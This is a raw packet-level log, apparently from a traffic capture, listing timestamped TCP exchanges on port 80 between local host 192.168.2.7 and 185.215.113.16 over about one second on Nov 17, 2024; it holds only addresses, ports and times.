Nov 17, 2024 04:38:53.938690901 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938699007 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938704014 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938715935 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938726902 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938733101 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938740015 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938749075 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938752890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938764095 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938764095 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938775063 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938786983 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938786983 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938796997 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.938803911 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.938837051 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942250967 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942277908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942289114 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942337036 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942440033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942456961 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942467928 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942478895 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942501068 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942509890 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942517042 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942527056 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942528009 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942545891 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942555904 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942558050 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942567110 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942579985 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942591906 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942598104 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942604065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942615032 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942624092 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942625999 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942637920 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942648888 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942660093 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942671061 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942671061 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942671061 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942687035 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942692995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942709923 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942713976 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942720890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942739010 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942750931 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942750931 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942763090 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942773104 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942773104 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942785978 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942796946 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942807913 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942819118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942830086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942833900 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942833900 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942842007 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942850113 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942867041 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942877054 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942883968 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942895889 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942908049 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942919016 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942931890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942936897 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942944050 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942955017 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942955017 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.942966938 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942977905 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942989111 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.942998886 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943000078 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943000078 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943011999 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943032026 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943042994 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943051100 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943057060 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943067074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943078041 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943078995 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943089962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943104982 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943115950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943121910 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943128109 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943140030 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943144083 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943150997 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943161964 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943172932 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943185091 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943193913 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943193913 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943196058 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943207026 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943212986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943232059 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943237066 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943248034 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943260908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943264008 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943270922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943278074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943284035 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943294048 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943306923 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943325043 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943336964 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943347931 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943351030 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943351030 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943358898 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943365097 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943371058 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943383932 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943397999 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943397999 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943403006 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943413019 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943425894 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943438053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943459988 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943459988 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943473101 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943485022 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943496943 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943501949 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943509102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943520069 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943526030 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943531036 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943540096 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943542004 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943553925 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943567038 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943578959 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943578959 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943591118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943593979 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943608999 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943610907 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943628073 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943640947 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943645000 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943653107 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943665981 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943675995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943681002 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943686962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943698883 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943706036 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943711042 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943726063 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943737030 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943749905 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943761110 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943761110 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943762064 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943773031 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943779945 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943798065 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943799019 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943809032 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943819046 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943830013 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943839073 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943841934 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943856955 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943865061 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943875074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943885088 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943895102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943898916 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943898916 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943907022 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943924904 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943926096 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943938017 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943943977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943953991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943965912 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943972111 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.943978071 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943989992 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.943996906 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944001913 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944013119 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944025040 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944032907 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944036961 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944051027 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944061041 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944061995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944072962 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944077015 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944084883 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944096088 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944097996 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944108009 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944118977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944125891 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944132090 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944142103 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944144011 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944154978 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944164991 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944165945 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944176912 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944188118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944190979 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944199085 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.944227934 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.944252014 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.948543072 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.948564053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.948574066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.948590994 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.948601961 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.948618889 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.948642969 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.949605942 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.949626923 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.949641943 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.949654102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.949667931 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.949685097 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.953399897 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.954102993 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.969945908 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.969959974 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.969976902 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.970068932 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.975852013 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981431007 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981487036 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981498957 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981512070 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981523991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981545925 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981575966 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981648922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981667042 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981684923 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981695890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981709003 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981709957 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981728077 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981744051 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981750011 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981756926 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981767893 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981780052 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981780052 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981791973 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981796980 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981808901 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981818914 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981827021 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981828928 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981847048 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981854916 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981858969 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981873035 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981877089 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981894016 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981894970 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981904984 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981919050 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981930971 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981937885 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981942892 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981946945 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981954098 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.981982946 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.981997967 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982007980 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982022047 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982033014 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982033968 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982043028 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982068062 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982072115 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982090950 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982121944 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982134104 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982166052 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982177973 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982192039 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982203007 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982238054 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982275963 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982321024 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982331991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982343912 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982355118 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982367039 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982382059 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982402086 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982413054 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982423067 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:53.982445955 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:53.982470989 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020154953 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020173073 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020185947 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020198107 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020312071 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020323038 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020334005 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020344973 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020355940 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020365953 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020376921 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020386934 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020399094 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020399094 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020399094 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020399094 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020409107 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020430088 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020437002 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020440102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020461082 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020464897 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.020478010 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020488977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020498991 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.020509005 CET	80	49713	185.215.113.16	192.168.2.7
